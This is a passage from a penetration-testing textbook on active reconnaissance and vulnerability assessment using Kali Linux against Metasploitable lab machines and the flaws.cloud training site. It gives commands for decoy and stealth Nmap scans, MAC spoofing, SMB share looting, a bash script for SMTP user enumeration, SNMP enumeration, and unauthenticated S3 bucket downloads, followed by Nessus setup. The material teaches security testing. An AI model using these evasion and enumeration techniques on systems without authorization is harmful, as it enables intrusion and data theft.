https://www.techtarget.com/searchnetworking/definition/time-to-live
https://www.techtarget.com/searchnetworking/definition/time-to-live
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As shown in the following screenshot, all ICMP responses contain a TTL of 128, which indicates 
the targeted system is running a version of the Windows operating system:

Figure 6.18: Sending ICMP ECHO Request messages to Metasploitable 3

2. Next, use the following commands to send 4 ICMP ECHO Request messages to the Metasploit-
able 2 virtual machine:

kali@kali:~$ ping 172.30.1.49 -c 4

As shown in the following screenshot, the ICMP responses have a TTL value of 64, which 
indicates the targeted system is running a version of Linux:

Figure 6.19: Sending ICMP ECHO Request messages to Metasploitable 2

As an aspiring ethical hacker and penetration tester, identifying the operating system, open ports, 
and running services helps you to better profile the target and identify its security vulnerabilities. By 
identifying the security vulnerabilities, you can improve your exploit development phase and plan of 
attack. Simply put, an exploit or payload for a Windows-based operating system will most likely not 
work on a Linux-based system, or vice versa. However, it’s worth noting that while exploit develop-
ment is an advanced skill, many penetration testers utilize existing exploits, adapting their approach 
based on the target’s vulnerabilities.

Thus far, you have learned how to discover open ports, service versions, operating systems, and SMB 
versions. Next, you will learn how to evade detection while performing active scanning on a network 
and systems using Nmap.
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Using scanning evasion techniques
Whenever a packet is sent from one device to another, the source and destination IP addresses are 
included within the header of the packet. This is the default behavior of the TCP/IP networking model; 
all addressing information must be included within all packets before they are placed on the network. 
When performing a scan as an ethical hacker and a penetration tester, we try to remain undetected 
to determine whether the security team of the targeted organization has the capabilities of detecting 
the simulated cyberattack.

During a real cyberattack, if an organization is unable to detect suspicious activities and security 
incidents on their network and systems, the threat actor can simply achieve their objectives without 
obstructions. However, if an organization can detect suspicious activities as soon as they occur, the 
security team can take action quickly to contain and stop the threat while safeguarding their organi-
zation’s assets. During a penetration test, it’s important to simulate real-world cyberattacks to test the 
threat detection and mitigation systems within the targeted organization.

Avoiding detection with decoys
Nmap is usually considered to be the king of network scanners within the cybersecurity industry due 
to its advanced scanning capabilities like operating system identification, service version detection, 
and scriptable interactions with the targeted system through the Nmap Scripting Engine (NSE). Nmap 
enables penetration testers to use decoys when scanning a targeted system. This scanning technique 
tricks the targeted system into thinking the source of the scan is originating from multiple sources, 
rather than a single-source IP address that belongs to the attacker machine.

To get started with this exercise, please use the following instructions:

1. Power on the Kali Linux, Metasploitable 2, and Metasploitable 3 (Windows version) virtual 
machines. Kali Linux will be the attacker machine, Metasploitable 2 will be the targeted system, 
and the Metasploitable 3 (Windows version) virtual machine will be the decoy, as shown in 
the following diagram:

Figure 6.20: Decoys
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Ensure that you identify the IP addresses of each of these systems as they may be different 
from the preceding diagram. Using the scanning techniques from the previous section will 
help you identify the IP addresses easily.

2. Next, to perform an Nmap scan using decoys, use the following command:

kali@kali:~$ sudo nmap 172.30.1.49 -D 172.30.1.48

Using the -D syntax enables you to specify one or more decoys. Before Nmap uses the decoy 
addresses, it will first check whether each decoy system is a live host on the network and 
whether an address is reachable; it won’t include the offline address during the scan. 

The following screenshot shows the expected results of the scan:

Figure 6.21: Specifying decoys

If the security team of the targeted organization is closely monitoring the packets over their 
internal network and identifies that a port scan is in progress, there’s a chance they will deter-
mine that the scan originates from your IP address. However, the decoy feature will include 
the decoy addresses within various packets from your attacker machine, as shown here:

Figure 6.22: Decoy addresses

Therefore, using more decoy addresses during the Nmap scan will decrease the risk of a security 
analyst tracing the source of the scan back to your IP address. However, security analysts are well-
trained professionals and usually have the required tools and skills to identify threats quickly on their 
network infrastructure. 
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Using MAC and IP spoofing techniques
Nmap is like the Swiss Army knife of scanners, filled with lots of scanning features to evade detection. 
Nmap allows a penetration tester to spoof both the MAC and IP addresses of their Kali Linux machine.

The following are common MAC and IP spoofing techniques with Nmap:

1. To perform an Nmap scan using a randomized MAC address, use the --spoof-mac 0 command 
as shown here:

kali@kali:~$ sudo nmap --spoof-mac 0 172.30.1.49

The following screenshot shows that Nmap generated a random MAC address before perform-
ing the scan on the targeted system:

Figure 6.23: Spoofed MAC address

In addition, the following screenshot shows the packets that were captured using Wireshark 
to further verify that Nmap used a randomized address as the source MAC address:

Figure 6.24: Verifying spoofed MAC address

2. Performing an Nmap scan on a targeted system with a spoof MAC address of a specific vendor 
is as simple as including the vendor’s name, with the following command:

kali@kali:~$ sudo nmap -sT -Pn --spoof-mac hp 172.30.1.49
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The following screenshot shows Nmap using an HP MAC address as the source address:

Figure 6.25: Spoofed MAC address of a specific vendor

Having completed this section, you have learned how to evade detection on a network while performing 
scanning using Nmap. Next, you will learn how to perform a stealth scan using Nmap.

Stealth scanning techniques
By default, Nmap establishes a TCP three-way handshake on any open TCP ports found on the targeted 
systems. Once the handshake has been established between the attacker machine and the targeted 
system, data packets are exchanged between each host. 

The following diagram shows the TCP 3-way handshake, where Host A is initializing communication 
with Host B:

Figure 6.26: TCP 3-way handshake

To learn more about the various functionalities of Nmap, use the nmap -h and man nmap 
commands to view the help menu and manual page, respectively.
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During a penetration test, it’s important to be as stealthy as possible on the network. This creates the 
effect of a real adversary attempting to compromise the targeted systems on the network, without being 
caught by the organization’s security solutions. However, by establishing a TCP three-way handshake 
with the targeted devices, we are making ourselves known to the target.

By using Nmap, we can perform a stealth scan (half-open/SYN scan) between the target and our attack-
er system. A stealth scan does not set up a full TCP three-way handshake, but resets the connection 
before it is fully established. 

The following diagram shows the exchange of TCP packets during an Nmap stealth scan:

Figure 6.27: Stealth scan

Let’s break down what is shown in the preceding diagram:

1. The attacker machine tricks the target by sending a TCP SYN packet to a specific port on the 
targeted system to determine whether the port is open.

2. Then, the target system will respond with a TCP SYN/ACK packet if the port is open.
3. Lastly, the attacker will send a TCP RST packet to the target to reset and terminate the con-

nection.

To get started with learning stealth scanning techniques, please use the following instructions:

1. Power on the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to perform a stealth scan 

on Metasploitable 2 to identify whether port 80 is open:

kali@kali:~$ sudo nmap -sS -p 80 172.30.1.48

Using the -sS syntax to indicate a stealth scan and the -p operator allows us to specify a target 
port.

With a stealth scan, the sender initiates a TCP connection by sending a SYN packet, but 
does not complete the three-way handshake as it sends an RST packet instead of an ACK 
packet after receiving a SYN/ACK from the target. SYN, ACK, RST, and FIN are TCP flags 
found within a TCP packet to indicate the state of the connection between a source and 
destination device.
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The following screenshot shows the Nmap identified port 80 as open on the targeted system:

Figure 6.28: Stealth scanning using Nmap

The following screenshot shows the exchange of packets between Kali Linux (172.30.1.50) 
and the targeted system (172.30.1.48) during the stealth scan:

Figure 6.29: Wireshark capture

As shown in the preceding snippet, Nmap sends a TCP SYN packet with a destination port 
80 to identify whether there are any running services on port 80 of the targeted system. The 
target responded with a TCP SYN/ACK packet as expected, however, the attacker machine sent 
a TCP RST packet to reset and terminate the connection. Therefore, no network connections 
were made between the attacker machine (Kali Linux) and the targeted system during the 
stealth scan.

However, keep in mind that seasoned cybersecurity professionals who are actively monitoring their 
network traffic for any security incidents can easily identify whether a threat actor is performing a 
stealth scan on their network.

Having completed this section, you have learned how to perform various types of scanning techniques 
to identify live hosts on a network and profile their running services and operating systems. In the next 
section, you will learn how to enumerate common services and network shares from vulnerable systems.

Enumerating network services
While scanning, you will notice that there are common network services running on the targeted 
systems. Collecting more information on these network services can help you further identify shared 
network resources such as shared directories, printers, and file shares on the system. 

Additionally, you can consider performing ACK scans, Window scans, Fragmentation 
scans, Idle scans, and UDP scanning. These techniques can be found using the man nmap 
command on Kali Linux.
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Sometimes, these network services are misconfigured and enable a threat actor to gain unauthorized 
access to sensitive data stored on servers and other systems within an organization. By performing 
enumeration on network services running a targeted system, we’ll be able to identify user accounts, 
network shares, and password policies, and profile the target’s operation system. Using the informa-
tion collected during enumeration helps us to better understand which security vulnerabilities exist 
and how to improve our plan of attack on the target.

Over the next few subsections, you will learn how to enumerate common network services such as SMB, 
the Simple Mail Transfer Protocol (SMTP), and the Simple Network Management Protocol (SNMP).

Enumerating SMB services
After identifying vulnerabilities and misconfigurations through comprehensive scanning, the next 
step is the detailed enumeration of specific network services, a process that may reveal potential 
entry points for attackers.

SMB is a common network service that allows hosts to share resources, such as files, with other de-
vices on a network. As an aspiring ethical hacker and penetration tester, it’s always recommended to 
enumerate file shares once it’s within your scope for the penetration test.

To get started enumerating SMB services on a targeted system, please use the following instructions:

1. Power on both the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use the following command to launch the Metasploit 

framework:

kali@kali:~$ msfconsole

3. After the Metasploit framework loads, use the search command along with the smb_version 
search term to quickly locate modules:

msf6 > search smb_version

As shown in the following screenshot, the search result shows only one module available, 
which can be used to identify whether SMB is running on the targeted system and its version:

Figure 6.30: Searching for modules

4. Next, use the following commands to load the module and display its options:

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > options



Active Reconnaissance228

Using the options or show options command displays the current settings within the loaded 
module and helps you determine whether there are additional configurations needed before 
executing the module, as shown here:

Figure 6.31: Viewing module options

As shown in the preceding screenshot, there are two required settings. One is RHOSTS or the 
target settings, while the other is the number of threads to apply to the process. Notice that 
the RHOSTS setting is blank.

5. Next, use the following commands to set the targeted system (Metasploitable 2) as RHOSTS 
and execute the module:

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 172.30.1.49
msf6 auxiliary(scanner/smb/smb_version) > run

The following screenshot shows that Metasploit was able to detect that SMB is running and its 
version from the targeted system:

Figure 6.32: Enumerating SMB

The run command is commonly used to execute auxiliary modules within the 
Metasploit framework, while the exploit command is used to execute exploit 
modules.

Use the exit command to quit the Metasploit framework and return to the Bash shell on 
the Terminal.
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Using more than one tool to enumerate running services on your target is always recommended 
because there’s a possibility that one tool may not identify something important. Sometimes, pene-
tration testers may prefer to work with Metasploit as it contains a lot of auxiliary modules to scan and 
enumerate services, while others prefer Nmap. However, I recommend that you become familiar with 
both tools as they are excellent and will be very handy in various situations.

Since SMB has been discovered on the targeted system, we can use SMBMap to enumerate the files 
and shared drives within the target.

To get started using SMBMap, please use the following instructions:

1. Ensure that the Kali Linux and Metasploitable 2 virtual machines are powered on.
2. On Kali Linux, use the following commands on the Terminal to identify whether the targeted 

system (Metasploitable 2) is running the SMB service:

kali@kali:~$ nmap -p 139,445 172.30.1.49

3. The following screenshot shows that Nmap was able to identify ports 139 and 445 as open on 
the targeted system:

Figure 6.33: Using Nmap

4. Next, use SMBMap to identify whether the targeted system has any network shares:

kali@kali:~$ smbmap -H 172.30.1.49

As shown in the following screenshot, the targeted system (Metasploitable 2) has a few shared 
drives, but most are not accessible over the network except for the tmp resource:

Figure 6.34: Discovering shared drives
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As shown in the preceding screenshot, the SMBMap tool was able to provide the permissions 
and comments for each network share on a targeted system. This information is useful in 
helping ethical hackers and penetration testers identify sensitive directories and collect data 
found within unsecure network shares.

5. Next, use the following commands to display the contents of the tmp directory on the targeted 
system:

kali@kali:~$ smbmap -H 172.30.1.49 -r tmp

As shown in the following screenshot, SMBMap was able to access the tmp directory because 
there was no authentication mechanism configured to restrict unauthenticated access:

Figure 6.35: Displaying contents of a shared drive

6. Next, to download all the contents of the tmp directory onto your Kali Linux machine, use the 
following commands to create a new directory (folder) within Kali Linux and download the files:

kali@kali:~$ mkdir smb_files 
kali@kali:~$ cd smb_files 
kali@kali:~/smb_files$ smbmap -H 172.30.1.49 --download .\tmp\*

The following screenshot shows the execution of the preceding commands:

Figure 6.36: Creating a new directory and downloading files

An additional tool that’s already pre-installed within Kali Linux is enum4linux, which en-
ables ethical hackers and penetration testers to perform system enumeration on a targeted 
system. This tool retrieves the usernames, password policies, SMB shares, and operating 
system information of a targeted system. To learn more about enum4linux, please visit 
https://www.kali.org/tools/enum4linux/.

https://www.kali.org/tools/enum4linux/
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Having completed this section, you have learned how to perform SMB enumeration using both 
Metasploit and SMBMap. In the next section, you will learn how to perform SMTP enumeration.

Enumerating SMTP services
Enumerating SMTP services enables ethical hackers and penetration testers to collect information 
about email services and identify any valid user accounts on the targeted system. 

To get started with this exercise, please use the following instructions:

1. Power on both the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use netcat to check whether port 25 is open on the 

targeted system (Metasploitable 2) and identify the running service:

kali@kali:~$ nc -nv 172.30.1.49 25

3. Next, use the VRFY root command to determine whether root is a valid user.
4. Next, use VRFY toor to check whether the toor user is a valid user, as shown here:

Figure 6.37: Checking whether port is open

As shown in the preceding screenshot, netcat is able to successfully establish a connection 
to the targeted system on port 25, which further identifies that the SMTP is running. When 
the VRFY root command is executed, the email service responses indicate that the user exists. 
However, the email service provides an error message when a non-valid user is checked.

5. Manually checking each possible username on a targeted system can be very time-consuming. 
To help automate the process of SMTP enumeration, we can use a simple BASH script that 
intakes a pre-defined list of possible usernames and queries it on the targeted system. 

To download the script onto your Kali Linux machine, use the following command:

kali@kali:~$ wget https://raw.githubusercontent.com/PacktPublishing/The-
Ultimate-Kali-Linux-Book-3E/main/Chapter%2006/smtp_user_enum.sh 

When performing SMTP enumeration, there are various commands that enable 
us to verify whether a valid user exists or not. For instance, the VRFY command 
is used to determine whether a valid user exists on the email server. The EXPN 
command is used to identify the delivery address for an email alias. The RCPT TO 
command is used to point to a recipient’s email address.



Active Reconnaissance232

6. Next, use the following command to view the contents of the script:

kali@kali:~$ cat smtp_user_enum.sh

Once the preceding command executes, the following code is shown:

#!/bin/bash

if [ $# -ne 2 ]; then
    echo "Usage: $0 <target_ip> <email_list>"
    exit 1
fi

target_ip="$1"
email_list="$2"

echo "Starting SMTP user enumeration..."

while IFS= read -r email; do
    # Construct the SMTP communication
    ( sleep 1; echo "HELO example.com"; sleep 1; echo "VRFY $email"; 
sleep 1; echo "QUIT" ) | nc -nv $target_ip 25 | grep -q "252 2.0.0"

    if [ $? -eq 0 ]; then
        echo "User found: $email"
    fi
done < "$email_list"

echo "SMTP user enumeration finished."

7. Next, use the following commands to make the newly saved script executable on Kali Linux:

kali@kali:~$ chmod +x smtp_user_enum.sh

8. To use the script, the ./smtp_user_enum.sh <target> <wordlist> syntax enables you to start 
the SMTP enumeration on a targeted system, as with the following command:

kali@kali:~$ ./smtp_user_enum.sh 172.30.1.49 /usr/share/wordlists/
seclists/SecLists-master/Usernames/top-usernames-shortlist.txt
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The following screenshot shows that valid usernames are identified while the script is running:

Figure 6.38: Finding valid usernames

Identifying and leveraging valid usernames and accounts helps penetration testers gain unauthorized 
access to targeted systems. However, it’s important to remember that performing such activities 
should only be conducted within a legal framework, such as part of an agreed-upon penetration 
testing contract where written permission has been explicitly granted by the system owner. Having 
completed this exercise, you have gained hands-on skills in SMTP enumeration. Next, you will learn 
how to enumerate SNMP services on a targeted host.

Enumerating SNMP services
SNMP is a common network protocol that enables network professionals to monitor, manage, and 
troubleshoot common networking devices. In addition, IT professionals use SNMP to retrieve sensitive 
information from their devices, such as the following:

• System uptime
• Device hostname
• CPU and memory utilization
• Interface status and statistics
• Operating system
• Open ports and running services

SNMP leverages the management information base (MIB), which is a common database that contains 
specific information about an SNMP-managed device. The MIB is like a tree structure that’s divided into 
multiple branches and each branch is used to manage a specific area of the device. On each branch 
of the MIB tree, there are leaves that represent specific values that enable a network professional to 
access the leaves to retrieve specific information about the device on the network.
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To get started with SNMP enumeration, please use the following instructions:

1. Power on the Kali Linux and Metasploitable 3 (Windows version) virtual machines.
2. On Kali Linux, open the Terminal and use the following command to determine whether SNMP 

is running on the targeted system (Metasploitable 2):

kali@kali:~$ sudo nmap -sU -p 161 172.30.1.48

The following screenshot shows SNMP is running on the targeted system on UDP port 161:

Figure 6.39: Checking if SNMP is running on the targeted system

3. Next, perform SNMP enumeration using the SNMP-Check tool, use the following command:

kali@kali:~$ snmp-check -p 161 -c public -v 1 172.30.1.48

The following is a description of each syntax used in the preceding command:

• -p: This allows you to specify the targeted port; by default, it’s set to port 161.
• -c: This allows you to specify the community string to log in to the targeted system; the 

default community string is public.
• -v: This allows you to specify the SNMP version to use; by default, it’s set to version 1.

As shown in the following screenshot, we are able to identify a lot of sensitive information that 
can be used to improve future cyberattacks on the target:

To learn more about SNMP, please see https://www.techtarget.com/searchnetworking/
definition/SNMP. To learn specifically about the different versions of SNMP, please visit 
https://www.splunk.com/en_us/blog/learn/snmp-monitoring.html.

https://www.techtarget.com/searchnetworking/definition/SNMP
https://www.techtarget.com/searchnetworking/definition/SNMP
https://www.splunk.com/en_us/blog/learn/snmp-monitoring.html
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Figure 6.40: SNMP enumeration

The SNMP-Check tool was able to enumerate the following information from the target:

• System information
• User accounts
• Network information
• Routing information
• Network services
• Running processes
• Software components

As you have learned, enumerating systems helps ethical hackers and penetration testers improve 
their profiles on targeted systems and determine what’s running on them. Such information helps 
penetration testers identify vulnerabilities that can be exploited to compromise the target.

In the next section, you will learn how to discover data leaks in cloud storage.

To learn more about SNMP-Check, use the snmp-check -h command to display its menu 
and additional options.
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Discovering data leaks in the cloud
Over the past decade, cloud computing has become one of the fastest-growing trends in the IT indus-
try. Cloud computing allows companies to migrate and utilize computing resources within a cloud 
provider’s data center. Cloud computing providers have a pay-as-you-go model, which means that you 
only pay for the resources you use. Some cloud providers allow pay-per-minute models, while others 
use a pay-per-hour structure.

The following are popular cloud computing service providers and the storage services provided by 
them:

• Amazon Web Services (AWS): The AWS storage facility is known as Simple Storage Service 
(S3). Whenever a customer enables the S3 service, a bucket is created. A bucket is a storage 
unit within the AWS platform where the customer can add or remove files.

• Microsoft Azure: In Microsoft Azure, the file storage facility is known as Azure Files.
• Google Cloud Platform: On Google Cloud, the storage facility is known as Google Cloud Storage.
• Oracle Cloud Infrastructure (OCI): On OCI, the storage facility is known as Oracle Cloud 

Infrastructure Object Storage.

In the field of cybersecurity, we need to remember that when a company is using a cloud platform, 
the data on the cloud platform must be secured, just like it should be when stored on-premises (that 
is, when stored locally). Sometimes, administrators forget to enable security configurations or lack 
knowledge regarding the security of a cloud solution. This could lead to, say, an attacker discovering 
a target organization’s AWS S3 buckets and downloading their content.

For this exercise, we are going to use some free online learning resources from http://flaws.cloud. 
This is a learning environment that’s been created by an AWS security professional who is helping 
the community learn about security vulnerabilities that can exist within AWS S3 misconfigurations.

To get started with identifying data leakage with AWS S3 buckets, please use the following instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the following commands 
to install the S3Scanner tool:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo pip3 install s3scanner

2. Next, install the AWS command-line package using the following command:

kali@kali:~$ sudo apt install awscli

3. Next, configure the AWS command-line features on Kali Linux by using the following command:

kali@kali:~$ aws configure

http://flaws.cloud
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Simply hit Enter to use the default options, as shown in the following screenshot:

Figure 6.41: Configuring AWS command-line features

4. Next, to view all the supported features and options of the S3Scanner tool, use the s3scanner 
–h command, as shown in the following screenshot:

Figure 6.42: S3scanner tool

5. Next, let’s use NsLookup within Kali Linux to retrieve the IP address of the targeted server:

kali@kali:~$ nslookup flaws.cloud

The following screenshot shows that NsLookup was able to retrieve multiple public IP addresses 
for the hosting server:

Figure 6.43: Retrieving public IP addresses
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6. Next, let’s use NsLookup again to retrieve the hostname of the AWS S3 bucket server:

kali@kali:~$ nslookup 52.92.148.75

The following screenshot shows the hostname of the server, including the name of the AWS 
S3 bucket:

Figure 6.44: Showing hostname

An AWS S3 bucket’s URL format is usually in the form of https://<bucketname>.s3. <region>.
amazonaws.com. Therefore, by using the information from the URL, the following can be de-
termined:

• S3 bucket name: s3-website
• Hosting region: us-west-2

AWS S3 buckets are not only used to store data such as files. They are also used to host websites. 
Therefore, we can use flaws.cloud as a prefix to the AWS S3 bucket URL to get the following 
URL: http://flaws.cloud.s3-website-us-west-2.amazonaws.com

The following screenshot shows the contents of the preceding URL:

Figure 6.45: Viewing URL content

7. Next, let’s use S3Scanner to verify that a bucket exists and the available permissions:

kali@kali:~$ s3scanner scan --bucket http://flaws.cloud

While the website in this exercise does not use HTTPS, it’s recommended to al-
ways use HTTPS for security reasons in a real-world scenario as it provides data 
encryption.

http://flaws.cloud.s3-website-us-west-2.amazonaws.com
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As shown in the following screenshot, an AWS S3 bucket exists:

Figure 6.46: Verifying whether a bucket exists

8. Next, let’s attempt to view the contents of the AWS S3 bucket using the following command:

kali@kali:~$ aws s3 ls s3://flaws.cloud --region us-west-2 --no-sign-
request

As shown in the following screenshot, there are some files within the S3 bucket:

Figure 6.47: Viewing bucket content

9. Next, let’s attempt to download the files onto our Kali Linux machine. Use the following com-
mands to create a folder and download the files into the newly created folder:

kali@kali:~$ mkdir s3_bucket_files
kali@kali:~$ cd s3_bucket_files 
kali@kali:~/s3_bucket_files$ aws s3 cp s3://flaws.cloud/secret-dd02c7c.
html --region us-west-2 --no-sign-request secret-dd02c7c.html

The cp syntax specifies the file to download, --region allows us to specify the location of the 
AWS S3 bucket, and --no-sign-request specifies us to not use any user credentials.

10. Lastly, you can use the cat or open command to view the contents of the downloaded file, as 
shown here:

kali@kali:~/s3_bucket_files$ cat secret-dd02c7c.html
kali@kali:~/s3_bucket_files$ open secret-dd02c7c.html

You can continue this exercise on http://flaws.cloud/ to learn more about various security vul-
nerabilities and discover the impact of misconfigurations on cloud services such as AWS S3 buckets. 
However, do not perform such actions on systems, networks, and organizations that you do not have 
legal permission to do so.

http://flaws.cloud/
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As you have seen, data leaks can happen on any platform and to any organization. As an aspiring eth-
ical hacker and penetration tester, you must know how to find them before a real adversary does and 
exploits them. Companies can store sensitive data on cloud platforms, or even leave data completely 
unprotected on a cloud service provider network. This can lead to data and accounts being retrieved. 
In this section, you learned how to perform enumeration of AWS S3 buckets using various tools and 
techniques.

Summary
In this chapter, you have gained hands-on skills as an aspiring ethical hacker and penetration tester to 
perform active scanning techniques to identify open ports, running services, and operating systems 
on targeted systems. In addition, you have learned how to use common evasion techniques during 
scanning to reduce your threat level. Furthermore, you have discovered how to enumerate common 
network services and leverage the information to improve a cyberattack.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Performing Vulnerability 
Assessments, you will learn how to set up and work with popular vulnerability management tools.

Further reading
• Nmap reference guide – https://nmap.org/book/man.html
• Information gathering using Metasploit – https://www.offensive-security.com/metasploit-

unleashed/information-gathering/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://nmap.org/book/man.html
https://www.offensive-security.com/metasploit-unleashed/information-gathering/
https://www.offensive-security.com/metasploit-unleashed/information-gathering/
https://packt.link/SecNet


7
Performing Vulnerability 
Assessments

As you have learned so far, the reconnaissance phase is very important for successfully moving on 
to the exploitation phase of penetration testing and the Cyber Kill Chain. Discovering security vul-
nerabilities on a targeted system helps adversaries identify the attack surface, which is the point of 
entry on a system that can be exploited to gain unauthorized access. As an aspiring ethical hacker and 
penetration tester, understanding how to efficiently identify the attack surface and profile a targeted 
system will help you better plan your method of attack and determine which exploits will help you gain 
a foothold on the target. However, it’s important to ensure you obtain written legal permission from the 
authorities prior to performing any sort of security assessment on a targeted system or network that 
you do not own. In addition, ensure you adhere to ethics in ethical hacking and penetration testing.

The use of automated tools helps penetration testers reduce the time needed to identify security 
vulnerabilities on a targeted system, using tools such as Nessus, Nmap NSE, Greenbone Vulnera-
bility Manager, and common web application scanners. However, it’s important to note that while 
automated scanning tools reduce the time it takes to do vulnerability assessments, manual testing 
ensures that penetration testers are able to validate the findings and remove any false positives from 
an automated tool.

After the vulnerability verification process, the risk assessment phase focuses on assessing the sever-
ity and potential impact of each security vulnerability that’s found on a system. The risk assessment 
phase helps organizations to better understand the ease of compromising each security vulnerability 
and how it can impact their business operations. In addition, each security vulnerability is assigned 
a risk rating score, which helps cybersecurity teams to prioritize and allocate resources to remediate 
security vulnerabilities based on their severity or criticality.

Next, the remediation plan is developed to help the organization address all the security vulnerabili-
ties found within the scope of the penetration testing. This may include applying security patches to 
systems, performing configuration changes to harden devices, and implementing countermeasures 
to safeguard the organization’s assets. 
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The reporting phase focuses on generating a comprehensive technical and executive summary re-
port that contains the details of identified security vulnerabilities, analysis, and recommendations 
to resolve the security flaws. After applying the recommendations, it’s important to re-test to ensure 
all remediation efforts are successful in improving the security of the posture of the organization.

In this chapter, you will learn how to use Kali Linux with various popular tools to perform a vulnerability 
assessment on a network. You will start by learning how you can install, perform, and analyze scan 
results using Nessus, one of the most popular industry-recognized vulnerability scanners within the 
cybersecurity industry. Then, you will learn how to leverage the hidden secrets and power of Nmap 
to easily discover security flaws in systems. Finally, you will learn how to perform web vulnerability 
assessments.

In this chapter, we will cover the following topics:

• Getting started with Nessus
• Vulnerability identification using Nmap
• Working with Greenbone Vulnerability Manager
• Using web application scanners

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux: https://www.kali.org/get-kali/
• Nessus Essentials: https://www.tenable.com/products/nessus/nessus-essentials
• Greenbone Vulnerability Manager: https://github.com/greenbone/gvmd

Getting started with Nessus
When diving into the field of cybersecurity, there is a very well-known tool everyone needs to know 
about, and that’s Nessus. Nessus is a vulnerability scanner that can detect over 83,000 Common Vul-
nerability and Exposure (CVE) security flaws on systems. Furthermore, Nessus allows security pro-
fessionals to deploy Nessus within centralized locations and automate periodic scanning on targeted 
systems, which allows continuous and automated vulnerability assessment within an organization.

As an aspiring penetration tester, you may need to use Nessus to perform a vulnerability assessment 
within an organization, determine the risk and severity of each security flaw, and provide recommen-
dations on how to mitigate the risk of possible cyber-attacks based on the security vulnerabilities found. 
In this section, you will learn how to set up and perform a vulnerability assessment using Nessus on 
your Kali Linux machine.

Before getting started with installing and setting up Nessus, ensure that your Kali Linux machine 
meets the following requirements:

https://www.kali.org/get-kali/
https://www.tenable.com/products/nessus/nessus-essentials
https://github.com/greenbone/gvmd
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• Stable internet connection
• Minimum dual-core processor
• Minimum of 4 GB RAM

Minimum of 30 GB free storage space. To get started working with Nessus Essentials, please use the 
following instructions.

Part 1 – installing Nessus
In this part, you will learn how to install and set up Nessus Essentials on the Kali Linux virtual machine 
to identify security vulnerabilities on targeted systems:

1. Firstly, power on the Kali Linux virtual machine and ensure it has internet connectivity.
2. Next, either on Kali Linux or your host machine, open the web browser and go to https://www.

tenable.com/products/nessus/nessus-essentials to register for a free license to activate 
Nessus Essentials during the setup process:

Figure 7.1: Nessus Essentials registration page

As shown in the preceding screenshot, a business email address is required to complete the 
registration. However, I’ve used a personal free email address and was able to successfully 
register and receive a Nessus Essentials activation code.

If you’re a Mac user who is running Kali Linux in Parallels on the M1 Mac (ARM64) chip, 
you may experience some issues when setting up Nessus within Kali Linux. However, the 
process works fine on a Windows-based system.

https://www.tenable.com/products/nessus/nessus-essentials
https://www.tenable.com/products/nessus/nessus-essentials
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3. On Kali Linux, open the Terminal and use the following commands to update the local soft-
ware packages repository list:

kali@kali:~$ sudo apt update

4. Next, use the following commands to download the Nessus Essentials package onto the Kali 
Linux virtual machine:

kali@kali:~$ curl -o Nessus-10.7.2-debian10_amd64.deb 'https://www.
tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.7.2-debian10_
amd64.deb'

The following screenshot shows the execution of the preceding commands:

 

Figure 7.2: Downloading Debian package

5. Next, install the Nessus software package onto Kali Linux:

kali@kali:~$ sudo dpkg -i Nessus-10.7.2-debian10_amd64.deb

The following screenshot shows the installation of Nessus:

A business email address is required to register and receive a free Nessus Essentials 
activation code. However, using a personal email address works.

If you’re having difficulties running the preceding commands, please go to 
https://www.tenable.com/downloads/nessus, select the latest version of 
Nessus, and choose Linux – Debian – amd64 to download the software package 
onto Kali Linux.

https://www.tenable.com/downloads/nessus
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Figure 7.3: Installing the Nessus package

6. Next, use the following command to start and restart the Nessus service:

kali@kali:~$ sudo /bin/systemctl start nessusd.service
kali@kali:~$ sudo /bin/systemctl restart nessusd.service

7. To continue the Nessus setup process, open the web browser within Kali Linux and go to 
https://kali:8834/, as shown below:

Figure 7.4: Firefox web browser warning

The systemctl status nessusd.service command can be used to verify wheth-
er the Nessus service is active and running on Kali Linux.
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When you first visit https://kali:8834/, the web browser will provide a security warning 
because Nessus uses a self-signed digital certificate. Click on Advanced, then on Accept the 
Risk and Continue.

8. Next, the Nessus initialization page will appear. Click on Continue, as shown below:

Figure 7.5: Nessus setup welcome page

9. Next, select the Register for Nessus Essentials option and click on Continue, as shown below:

Figure 7.6: Selecting Nessus Essentials
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10. Since you registered and received a Nessus Essentials activation code during step 2, click on 
Skip on the registration page, as shown below:

Figure 7.7: Skipping registration

11. Next, enter the activation code from your email in the Activation Code field, then click on 
Continue, as shown below:

Figure 7.8: Entering activation code
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12. Next, Nessus will show the activation code. Click on Continue, as shown below:

Figure 7.9: Verifying the activation code

13. Next, create a user account and click on Submit, as shown below:

Figure 7.10: Creating an account
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14. Nessus will automatically log in to the dashboard, then start the initialization process and 
begin downloading additional updates and plugins for the application. This process usually 
takes a few minutes to complete. To view the event logs, click on Settings | About | Events, as 
shown in the following screenshot:

Figure 7.11: Verifying vulnerability database is up to date

15. Once the download process is complete, Nessus will compile all the plugins. Ensure this is 
completed before proceeding to scan a targeted system.

Part 2 – identifying vulnerabilities 
Nessus can detect over 83,000 CVEs on targeted systems to help cybersecurity professionals such as 
ethical hackers and penetration testers to identify the attack surface of assets owned by organiza-
tions and use the collected information to provide recommendations on preventing and mitigating 
cyber-attacks and threats.

Use the following instructions to get started with scanning for security vulnerabilities using Nessus:

1. Power on the Metasploitable 3 (Windows version) virtual machine as our targeted system on 
the network.

If you get an invalid code field bad format error, try entering the license key/
activation code manually to activate Nessus Essentials. After the plugins are down-
loaded, Nessus will compile them all, which usually takes some time to complete.
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2. On Kali Linux, log in to the Nessus Essentials dashboard at https://kali:8834/ and click on 
New Scan, as shown below:

Figure 7.12: Selecting New Scan

3. Next, various vulnerability and compliance scanning templates will be presented, enabling 
